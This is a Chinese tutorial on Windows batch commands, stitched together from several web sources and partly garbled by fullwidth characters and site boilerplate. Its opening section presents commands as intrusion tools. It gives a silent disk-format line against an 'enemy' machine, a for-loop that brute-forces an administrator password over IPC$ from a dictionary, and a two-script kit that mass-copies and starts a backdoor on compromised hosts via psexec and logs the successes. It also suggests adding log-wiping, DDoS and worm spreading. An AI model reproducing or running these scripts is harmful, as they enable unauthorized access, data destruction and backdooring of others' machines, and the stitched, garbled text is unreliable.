批处理命令详解
————————————————————————————————作者：————————————————————————————————日期:
批处理命令详解
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,eｃhｏ命令将显示当前回显设置。
语法?echｏ [｛on|ofｆ}］ [mｅｓsａｇe]
Saｍple:eｃｈo off ／ echo ｈｅlｌo woｒｌd?在实际应用中我们会把这条命令和重定向符号(也称为管道符号，一般用＞ >＞ ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。??2.＠命令
表示不显示@后面的命令,在入侵过程中（例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Ｓampｌe：@echo off?@eｃｈｏ Now initｉaliｚing the pｒogram,pleａse ｗaiｔ a mｉｎｉte... @ｆoｒmat X: /ｑ/ｕ/aｕｔoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoseｔ这个参数给我们,效果和／y是一样的。)
?３.Goto 命令?指定跳转到标签,找到标签后，程序将处理从下一行开始的命令。?语法：goto laｂel （label是参数,指定所要转向的批处理程序中的行。）?Sample：?if ｛％1｝=＝{} goto nｏparms
if ｛%２}==｛} goｔｏｎoｐarms（如果这里的iｆ、%1、%2你不明白的话，先跳过去,后面会有详细的解释。）
@Rｅm cｈeck paramｅtｅｒs ｉf nulｌ show ｕsａge?:ｎoparms?eｃho Uｓage: moniｔor.bａt Ser ｖerIP ＰortNuｍｂer
gotｏｅnd?标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个：用来表示这个字母是标签，gｏto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
?4．Rem 命令
注释命令，在C语言中相当与／＊－-------*/,它并不会被执行，只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Ｍｅssage
Samplｅ:@Rｅm Ｈere iｓthe desｃｒｉｐtｉｏn.
5.Pause 命令?运行 Paｕsｅ命令时,将显示下面的消息: ?Presｓ any ｋey to conｔｉnｕe . . .
＠ｅcho off
:begin
cｏpy a:*.* d:\bacｋ?echo Pleａsｅｐut a new disk into drivｅｒ A ?pauｓe
ｇotｏｂegｉn ?在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器Ａ时,paｕse 命令会使程序挂起，以便您更换磁盘,然后按任意键继续处理。?6.Calｌ命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。ｃalｌ命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。?语法?ｃalｌ[[Drｉve:］[Pａｔh] [ＢatｃhPaｒameterｓ]］ [:laｂｅｌ［ａrｇuments]]?参数
[Dｒｉｖｅ:}[Pａｔh] ?指定要调用的批处理程序的位置和名称。参数必须具有 .ｂａt 或．cmd 扩展
7.ｓtart 命令?调用外部程序，所有的DOＳ命令和命令行程序都可以由starｔ命令来调用。
名。??
入侵常用参数:?MIN 开始时窗口最小化?SＥPARATE 在分开的空间内开始 1６位Windowｓ程序
HIGＨ在HIGＨ优先级类别开始应用程序
REALTIME 在RＥAＬTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parａmeterｓ这些为传送到命令/程序的参数
执行的应用程序是32-位ＧＵI 应用程序时，CMD．EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。?8．choicｅ命令?choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/ｃ：参数，c:后应写提示可输入的字符,之间无空格。它的返回码为1234……?
如: ｃhoicｅ/c：dme deｆｒag,mem,eｎｄ
将显示?deｆrag,ｍｅm,end[D，M,E]??Sample：
Saｍpｌe.bａt的内容如下: ?@ｅcho ｏfｆ
choｉｃｅ /c：ｄｍe ｄefrag,mem,ｅnd ?if erｒｏｒlevel ３ｇoto defｒag （应先判断数值最高的错误码）?if errorlevel 2 goto mem
ｉf erroｔlｅvel １ｇoto ｅnd
?:ｄｅfrag
ｃ:＼doｓ\defrag
goto eｎd ?:mem
goto enｄ?：end
eｃho ｇoｏd bｙｅ
此文件运行后,将显示ｄeｆｒag,meｍ，end[D，M，E]？用户可选择ｄｍｅ,然后if语句将作出判断，d表示执行标号为dｅfrag的程序段，m表示执行标号为mem的程序段,e表示执行标号为ｅnd的程序段，每个程序段最后都以gotｏ end将程序跳到end标号处,然后程序将显示ｇｏｏd bye，文件结束。?９．If 命令?
if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式: ?1、if ＂参数" ＝= "字符串" 待执行的命令?参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号）?如iｆ"%１"=="a" fｏrmat a: ?if {％1}=={} gotｏｎｏｐarｍs?iｆ{%2}=={} gｏto nopa ｒms
?2、if eｘist 文件名待执行的命令?如果有指定的文件,则条件成立，运行命令，否则运行下一句。如if ｅxisｔｃoｎfig.ｓys edｉt coｎfiｇ.sys
?3、iｆeｒｒorleveｌ / if not errorlｅveｌ数字待执行的命令
如果返回码等于指定的数字，则条件成立,运行命令,否则运行下一句。
如if eｒrorｌｅvel 2 goto ｘ2 ?ＤOS程序运行时都会返回一个数字给DOＳ,称为错误码ｅrrorleveｌ
10.ｆor 命令?for 命令是一个比较复杂的命令，主要用于参数在指或称返回码,常见的返回码为０、1。??
定的范围内循环执行命令。?在批处理文件中使用 FOR 命令时，指定变量请使用％％varｉａblｅ
for {%vａｒiabｌｅ|％%varｉablｅ｝ iｎ (ｓet) do cｏmmａｎd [ CｏmｍａｎdLineＯptions]
％ｖariabｌe 指定一个单一字母可替换的参数。?(set) 指定一个或一组文件。可以使用通配符。
comｍａnd 指定对每个文件执行的命令。?cｏmmａnd-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用%%ｖariaｂle
而不要用 %variabｌe。变量名称是区分大小写的，所以 %ｉ不同于 %I?
如果命令扩展名被启用，下列额外的ＦＯR 命令格式会受到
支持:
?FOR /D %vaｒｉaｂlｅ IN (ｓet) DO cｏｍmand [command-parameｔers]
?如果集中包含通配符,则指定与目录名匹配，而不与文件?名匹配。??FＯＲ／Ｒ [［drｉve:］ｐath] %v ａriablｅ IN (ｓet）DＯ command ［cｏmｍand-?
检查以[ｄrivｅ:]path 为根的目录树，指向每个目录中的
ＦOR 语句。如果在／R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。??ＦOR ／L %vaｒｉable IN （start,stｅｐ,ｅnd) ＤO command [comｍａnd-para
?该集表示以增量形式从开始到结束的一个数字序列。?因此，(１，１,5) 将产生序列 1 2 3 4 5，(５,－１,１）将产生?序列 (5 4 ３ 2 1)。
FOＲ/F [＂optionｓ"］％ｖariable ＩN () DＯ command ?FOR /F ［＂optioｎｓ＂] ％ｖaｒiabｌe ＩＮ("ｓtriｎg＂) ＤO coｍmａnｄ?ＦOＲ /F ["ｏpｔions"] %ｖａｒiable ＩN (commaｎd）DO commａnd ?
或者,如果有 usebaｃｋq 选项:
FOR ／F ["optionｓ＂] ％vaｒiaｂｌe ＩN () ＤO comｍanｄ
FOR /F ［"oｐtiｏnｓ"] %variable IN （"sｔｒｉng＂) ＤO cｏmｍaｎd
FOＲ /F ["options"] %variａbｌｅＩN （cｏmmａｎd） DO cｏmmａnd ??为一个或多个文件名。继续到中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值?调用 Fｏｒ循环。以默认方式，／Ｆ通过每个文件的每一行中分开?的第一个空白符号。跳过空白行。您可通过指定可选 "optｉonｓ"
参数替代默认解析操作。这个带引号的字符串包括一个或多个?指定不同解析选项的关键字。这些关键字为: ?eol＝c - 指一个行注释字符的结尾（就一个）
ｓkip=n －指在文件开始时忽略的行数。?dｅｌims=ｘxｘ - 指分隔符集。这个替换了空格和跳格键的?默认分隔符集。?tokｅns=x，y,m-n - 指每行的哪一个符号被传递到每个迭代
的for 本身。这会导致额外变量名称的
格式为一个范围。通过ｎｔｈ符号指定 m?符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之?分配并接受行的保留文本。?uｓeｂackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且?引号字符为文字字符串命令并允许在ｆi
中使用双引号扩起文件名称。
?ｓamplｅ1:
FOR /F ＂eol=; ｔｏkens=２,3＊ dｅｌｉms=， " %i iｎ（my) ｄo comｍａｎd?
会分析ｍy 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和／或
空格定界符号。请注意,这个 fｏr 程序体的语句引用％ｉ来?取得第二个符号，引用 %ｊ来取得第三个符号,引用％ｋ
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用ｕsｅbaｃkq 选项,否则，双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 fｏr 语句中得到说明，%ｊ和%k 是通过
toｋens= 选项专门得到说明的。您可以通过 tokens＝一行?指定最多２６个符号，只要不试图说明一个高于字母 z 或?Z 的变量。请记住,ＦOR 变量是单一字母、分大小写和全局的；
同时不能有 5２个以上都在使用中。?
您还可以在相邻字符串上使用FＯR /F 分析逻辑;方法是，
用单引号将括号之间的括起来。这样，该字符?串会被当作一个文件中的一个单一输入行。
最后，您可以用FＯR ／F 命令来分析命令的输出。方法是，将
括号之间的变成一个反括字符串。该字符串会
被当作命令行,传递到一个子CMD.EXＥ,其输出会被抓进?内存,并被当作文件分析。因此，以下例子:
?ＦOＲ /Ｆ "ｕsｅbackq delims=＝＂%i IN (`set`) ＤO @echo %i??会枚举当前环境中的环境变量名称。?
另外,FＯＲ变量参照的替换已被增强。您现在可以使用下列
选项语法：
?~Ｉ－删除任何引号("）,扩充 %Ｉ?%～fＩ- 将%Ｉ扩充到一个完全合格的路径名?%~dＩ－仅将％Ｉ扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径?％~nI - 仅将%I 扩充到一个文件名
％~xＩ－仅将 %I 扩充到一个文件扩展名
%~sI －扩充的路径只含有短名
%~ａＩ－将％Ｉ扩充到文件的文件属性
％~tI - 将%I 扩充到文件的日期/时间
%~zI - 将 %Ｉ扩充到文件的大小?%~$ＰＡTH:I - 查找列在路径环境变量的目录,并将 %Ｉ扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
?可以组合修饰符来得到多重结果:??%~dpI - 仅将%Ｉ扩充到一个驱动器号和路径
%～nxＩ－仅将 %Ｉ扩充到一个文件名和扩展名
%~fsI - 仅将%I 扩充到一个带有短名的完整路径名?%~dp＄PAＴH:ｉ - 查找列在路径环境变量的目录,并将 %I 扩充?到找到的第一个驱动器号和路径。?%～ｆｔzaI - 将 %I 扩充到类似输出线路的DIR
在以上例子中，％I 和ＰAＴH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似%Ｉ的大写变量名?比较易读,而且避免与不分大小写的组合键混淆。
?以上是ＭS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。??ｓaｍｐle2:??利用For命令来实现对一台目标Wｉｎ2k主机的暴力密码破解。?我们用nｅt usｅ＼＼ｉp\iｐc$ "ｐasswo ｒd" /ｕ:"adminｉstrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条:foｒ／f i% in (dｉcｔ．txｔ) do neｔ uｓｅ \\ip\ipｃ$ "i％" ／u："ａdminis ｔrａtor"?用i%来表示ａdmin的密码，在ｄｉcｔ.ｔｘt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给fｉnd命令－-
for ／f i%％ in (ｄict．txｔ) ｄo nｅt use \＼ip\ipｃ$ ＂i％％" /u:＂ａdｍiｎｉstrator"|f ｉnｄ＂:命令成功完成＂＞>D:\ｏｋ.ｔｘｔ，这样就ko了。??saｍpｌe3：
你有没有过手里有大量肉鸡等着你去种后门+木马呢？,当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用FOR 命令时，指定变量使用 %％vａriaｂle）
@for /f ＂toｋｅns=1，2,3 ｄelｉmｓ= " %%ｉｉn (ｖictim.txt) do start ｃalｌ door.ｂa ｔ%％i %%j %%k
tokeｎｓ的用法请参见上面的samｐlｅ１,在这里它表示按顺序将vｉcｔim．ｔxt中的内容传递给
door.bat中的参数%i %j %ｋ。
而culｔivate.ｂat无非就是用nｅt use命令来建立IPＣ＄连接，并cｏpｙ木马+后门到victim，然后用返回码(Iｆ errorlｅver =)来筛选成功种植后门的主机,并echo出来，或者echｏ到指定的文件。
dｅlims= 表示vivtim．txt中的内容是一空格来分隔的。我想看到这里你也一定明白这vｉｃtim．tｘt 里的内容是什么样的了。应该根据%%i ％%ｊ %%k表示的对象来排列，一般就是 ip pａsｓwｏrd uｓern ａｍe。
代码雏形:
-－---－-－-－---－- cｕt here theｎｓａve ａs ａbatchfile(I call ｉt main.bat ) -----－－------－------?＠echo off?@if "%1"=="" goto usａge?＠for /ｆ "tokens=1,２,3 ｄelｉms＝" %%i in (viｃｔim.txt) do stａrt call IPChack.bａt %%i %％ｊ %%k?@goｔｏend
:ｕｓaｇe
＠ｅcho run tｈis batch ｉn dos mｏdle.or just ｄouble-click iｔ.
:ｅｎｄ?----－----－----- cｕt ｈere then save as a batchfilｅ(I cａlｌ iｔ main.baｔ）
--------－--－--------
?-－－------------－--－ cut hｅｒｅｔhｅn save as a batchｆｉle(I call ｉt door.ｂaｔ) --－---－---－------
@nｅt uｓe \\％1\ｉｐｃ$ %３/u:"％2＂
@ｉf errorlｅvel １ｇoto fａｉled?@echo Ｔryiｎg to estaｂlish ｔhe IＰＣ$ coｎnecｔ
ion …………OK?＠coｐy windｒv32．exe\\%1\admin$\sｙstem３2 ＆＆ｉf nｏt ｅrｒoｒｌevel 1 echo IP %1 USＥＲ %2 PWD %3 ＞>ｋo.ｔxt?@p＊**ｅc \\%1 ｃ:＼wｉnnｔ\ｓｙstem3２\wｉndｒ
v32.exe?@p*＊*ec \\%1 neｔstarｔ wiｎdｒv32 && iｆ not erｒorｌevel 1 echｏ%1 Bａckｄoored >＞ko.tｘｔ
:failed?＠ｅｃho Soｒｒy can ｎot ｃonnected to ｔhｅｖictim．?---－------------－ cuｔ here tｈeｎ save as a batchfiｌe(I ｃall it dｏor.ｂat） ----－-----－－－－-----?这只是一个自动种植后门批处理的雏形，两个批处理和后门程序(Ｗinｄrｖ32.exe),PＳeｘｅc.exe需放在统一目录下.批处理内容?尚可扩展,例如:加入清除日志+DＤOＳ的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能（蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
for语句可以在命令行提示符中使用，也可以在批处理文件中使用。这两种情况下唯一的区别是%和%%，参加下文说明。 一、for语句的格式： for [参数] 变量in (集合) do 命令[命令的参数] 二、for语句的作用：对集合内的元素逐一执行后面的命令。 1、如：for %%i in (你好) do echo %%i 将在屏幕上显示“你好”2个字。这里集合是“你好”，执行的命令是“echo”。由于集合中只有1个元素，因此循环只运行一次。 如果改成for %%i in (你好朋友) do echo %%i 将会显示2行文字，第一行为“你好”，第二行为“朋友”。因为2个词之间有空格，因此集合中就有了2个元素，循环将运行2次。 2、注意：以上for语句的运行方式是新建一个批处理文件，即扩展名为“.bat”的文件，内容为上面的命令，然后运行。为了批处理执行完不退出，可在最后加上一条pause>null命令，这样能看到执行的结果。要想通过cmd命令行执行的话，必须将%%换成%，即去掉一个%，如下： for %i in (你好) do echo %i 3、以下所有例子都是这样，若要在命令行提示符下执行，请将所有的%%改成一个%。 三、for语句详细说明： 上面语句格式中有的加了中括号[]，表示这个语句元素不是必须的，只在需要时使用。像刚才显示“你好”的命令中就没有使用[参数]这
个语句元素。所有语句元素间用空格隔开。 各语句元素的写法：for、in、do这3个符号是固定不变的 1、[参数]的种类：只有4种，分别是/d、/r、/l、/f（即目录Directory、递归recursion、序列list、文件file），他们用于对后面的集合的含义做出解释，请与下面的集合解释结合来看。这4个参数不区分大小写，可以联合使用，即一条for语句可以出现多个参数。 2、变量：除10个数字外（0－9）的所有符号（因为0－9往往作为形参使用，为了与此区别），变量名一般用单个字母表示即可，而且变量名区分大小写，即A和a是两个不同的变量。变量名前面必须是%，当在命令提示符下执行时，只用一个%；而在批处理程序中，必须用%%。 一行语句中，一般只需定义一个变量。使用/f参数中的tokens 选项可以将集合中的元素分解成多个值，并自动定义新的变量对应这些值。这时语句中可以使用多个变量，通常按字母顺序命名，即第一个是%%a，那么后一个就用%%b。如果第一个是%%i，后一个就用%%j。依此类推。具体看后面的相关内容。 变量可以直接在do后面的命令中使用。每次使用的变量总数不超过52个。 3、集合：集合必须放在括号里。集合是一行文本，这行文本可能有几种类型，如“你好”只是一串字符；“c:\boot.ini”是一个文件；“dir /b”是一个命令。 （1）如果for语句中没有使用任何参数，对待集合文本的处理方式是：
批处理命令for语句的基本用法 [系列教程]批处理for语句从入门到精通[20101225更新] ____________________________版主提醒 ____________________________ 文档来自于网络搜索 为了避免影响技术讨论、提高看帖的舒适性，请大家不要在此帖下跟 无实质内容的口水帖，特别是纯顶、纯支持、纯感谢、路过之类的帖子， 管理人员将不定期清理此类回帖，请大家多参与讨论少灌水，与人方便， 终将给自己带来方便，谢谢合作。 ________________________________________________________________ 文档来自于网络搜索 批处理是一门简单的脚本语言，虽然不能独当一面，但是，若作为工作中的辅助工具，绝对会让大家有随用随写、称心如意的畅快感。 文档来自于网络搜索 和其他语言相比，批处理语言有其先天性的优势： 1、系统自带，无需另行安装； 2、命令少，语句简洁，上手非常快； 3、编写出来的脚本小巧玲珑，随写随用； 但是，因为它以命令行方式工作，操作多有不便，在图形界面大行其道的windows世界里，多多少少会让大众望而却步；就算是对命令行有好感的新手，面对微软有如天书的帮助文件，很多人也会败下阵来，因此，论坛里很多会员也发出了编写系统的批处理教程的呼声。
文档来自于网络搜索 编写系统的批处理新手教程，一直是论坛管理层讨论的热点问题，但是，各位管理人员大多都有工作在身，而系统的教程涉及的面是如此之广，面对如此浩大的工程，仅凭一两个人的力量，是难以做好的，因此，本人退而求其次，此次发布的教程，以专题的形式编写，日后人手渐多之后，再考虑组织人力编写全面的教程。 文档来自于网络搜索之所以选择最难的for，一是觉得for最为强大，是大多数人最希望掌握的；二是若写其他命令教程，如果没有for的基础，展开来讲解会无从下手；三是for也是批处理中最复杂最难掌握的语句，把它攻克了，批处理的学习将会一片坦途。 文档来自于网络搜索 这次的for语句系列教程，打算按照for语句的5种句式逐一展开，在讲解for/f的时候，会穿插讲解批处理中一个最为关键、也是新手最容易犯错的概念：变量延迟，大纲如下： 文档来自于网络搜索一前言 二for语句的基本用法 三for /f（含变量延迟） 四for /r 五for /d 六for /l 遵照yibantiaokuan的建议，在顶楼放出此教程的txt版本、word版本和pdf版本，以方便那些离线浏览的会员。 文档来自于网络搜索[本帖最后由namejm于2010-12-26 02:36编辑]
目录 第一章批处理基础 第一节常用批处理内部命令简介 1、REM 和:: 2、ECHO 和@ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和: 9、FIND 10、START 11、assoc 和ftype 12、pushd 和popd 13、CALL 14、shift 15、IF 16、setlocal 与变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 第二节常用特殊符号 1、@命令行回显屏蔽符 2、%批处理变量引导符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、& 组合命令 10、||组合命令 11、\"\"字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章FOR命令详解 一、基本格式 二、参数/d仅为目录 三、参数/R递归（文件名） 四、参数/L迭代数值范围 五、参数/F迭代及文件解析 第三章FOR命令中的变量
一、~I- 删除任何引号(\")，扩展%I 二、%~fI- 将%I 扩展到一个完全合格的路径名 三、%~dI- 仅将%I 扩展到一个驱动器号 四、%~pI- 仅将%I 扩展到一个路径 五、%~nI- 仅将%I 扩展到一个文件名 六、%~xI- 仅将%I 扩展到一个文件扩展名 七、%~sI- 扩展的路径只含有短名 八、%~aI- 将%I 扩展到文件的文件属性 九、%~tI- 将%I 扩展到文件的日期/时间 十、%~zI- 将%I 扩展到文件的大小 十一、%~$PATH:I 第四章批处理中的变量 一、系统变量 二、自定义变量 第五章set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章if命令讲解 第一种用法：IF [NOT] ERRORLEVEL number command 第二种用法：IF [NOT] string1==string2 command 第三种用法：IF [NOT] EXIST filename command 第四种用法：IF增强的用法 第七章DOS编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数，精确度毫秒，误差1000毫秒内 4、仅用批处理命令实现任意时间延迟，精确度10毫秒，误差50毫秒内 十、模拟进度条 十一、特殊字符的输入及应用 十二、随机数（%random%）的应用技巧 十三、变量嵌套与命令嵌套 1、更正了所有的错别字，适当排版，增加条理性。
写批处理 扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。 ==== willsort 编注======================================= .bat是dos下的批处理文件 .cmd是nt内核命令行环境的另一种批处理文件 从更广义的角度来看，unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与dos的批处理却又完全不同。 =================================== 首先批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS 提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 ==== willsort 题注=================== 批处理文件中完全可以使用非dos命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于wind ows系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。 ======================== 其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。 ==== willsort 编注================== 批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就c语言来说，扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码，但只有编译连接后的exe 文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。 =========================== 第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。 ==== willsort 编注===== 纯以dos系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY宏命令（预先驻留内存），https://www.doczj.com/doc/4c1620582.html,中的内部命令（根据内存的环境随时进驻内存），以com为扩
一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo命令将显示当前回显设置。 语法 echo [{on off}] [message] Sample：@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用>>>^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait aminite... @format X: /q/u/autoset (format这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label（label是参数，指定所要转向的批处理程序中的行。） Sample： if {%1}=={} goto noparms if {%2}=={} gotonoparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） @Rem check parameters if null show usage
:noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto 命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 Rem Message Sample：@Rem Here is the description. 5.Pause 命令 运行Pause 命令时，将显示下面的消息： Press any key to continue . . . Sample： @echo off :begin copy a:*.* d：\back echo Please put a new disk into driver A pause goto begin 在这个例子中，驱动器A中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A 时，pause命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。
批处理文件基础知识 一、单符号message指定让MS-DOS在屏幕上显示的正文 ~ ①在for中表示使用增强的变量扩展。 ②在%var:~n,m%中表示使用扩展环境变量指定位置的字符串。 ③在set/a中表示一元运算符，将操作数按位取反。 ! ①在set /a中一元运算符，表示逻辑非。比如set /a a=!0，这时a就表示逻辑1。 @ ①隐藏命令行本身的回显，常用于批处理中。 % ①在set /a中的二元运算符，表示算术取余。 ②命令行环境下，在for命令in前，后面接一个字符（可以是字母、数字或者一些特定字符），表示指定一个循环或者遍历指标变量。 ③批处理中，后接一个数字表示引用本批处理当前执行时的指定的参数。 ④其它情况下，%将会被脱去（批处理）或保留（命令行） ^ ①取消特定字符的转义作用，比如& | > < ! "等，但不包括%。比如要在屏幕显示一些特殊的字符，比如> >> | ^ &等符号时，就可以在其前面加一个^符号来显示这个^后面的字符了，^^就是显示一个^，^|就是显示一个|字符了; ②在set/a中的二元运算符，表示按位异或。 ③在findstr/r的[]中表示不匹配指定的字符集。 & ①命令连接字符。比如我要在一行文本上同时执行两个命令，就可以用&命令连接这两个命令。 ②在set/a中是按位与。 : ①标签定位符，表示其后的字符串为以标签，可以作为goto命令的作用对象。比如在批处理文件里面定义了一个":begin"标签，用"goto begin"命令就可以转到":begin"标签后面来执行批处理命令了。 ②在%var:string1=string2%中分隔变量名和被替换字串关系。 | ①管道符，就是将上一个命令的输出，作为下一个命令的输入."dir /a/b |more"就可以逐屏的显示dir命令所输出的信息。 ②在set/a中的二元运算符，表示按位或。 ③在帮助文档中表示其前后两个开关、选项或参数是二选一的。 / ①表示其后的字符（串）是命令的功能开关（选项）。比如"dir /s/b/a-d"表示"dir"命令指定的不同的参数。 ②在set/a中表示除法。 > ①命令重定向符，将其前面的命令的输出结果重新定向到其后面的设备中去，后面的设备中的内容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的结果输出到"lxmxn.txt"这个文本文件中去。 ②在findstr/r中表示匹配单词的右边界，需要配合转义字符\使用。 < ①将其后面的文件的内容作为其前面命令的输入。 ②在findstr/r中表示匹配单词的左边界，需要配合转义字符\使用。 . ①在路径的\后紧跟或者单独出现时：
批处理命令格式.txt人永远不知道谁哪次不经意的跟你说了再见之后就真的再也不见了。一分钟有多长？这要看你是蹲在厕所里面，还是等在厕所外面……echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 @与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 例1：用edit编辑a.bat文件，输入下列内容后存盘为c: a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 批处理文件的内容为: 命令注释： @echo off 不显示后续命令行及当前命令行 dir c: *.* >a.txt 将c盘文件列表写入a.txt call c: ucdos ucdos.bat 调用ucdos echo 你好显示"你好" pause 暂停,等待按键继续 rem 准备运行wps 注释：准备运行wps cd ucdos 进入ucdos目录 wps 运行wps 批处理文件的参数 批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。 %[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。例2：C:根目录下有一批处理文件名为f.bat，内容为： @echo off format %1 如果执行C: >f a: 那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: 例3：C:根目录下一批处理文件名为t.bat，内容为: @echo off type %1 type %2 那么运行C: >t a.txt b.txt %1 : 表示a.txt %2 : 表示b.txt 于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 特殊命令 if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批
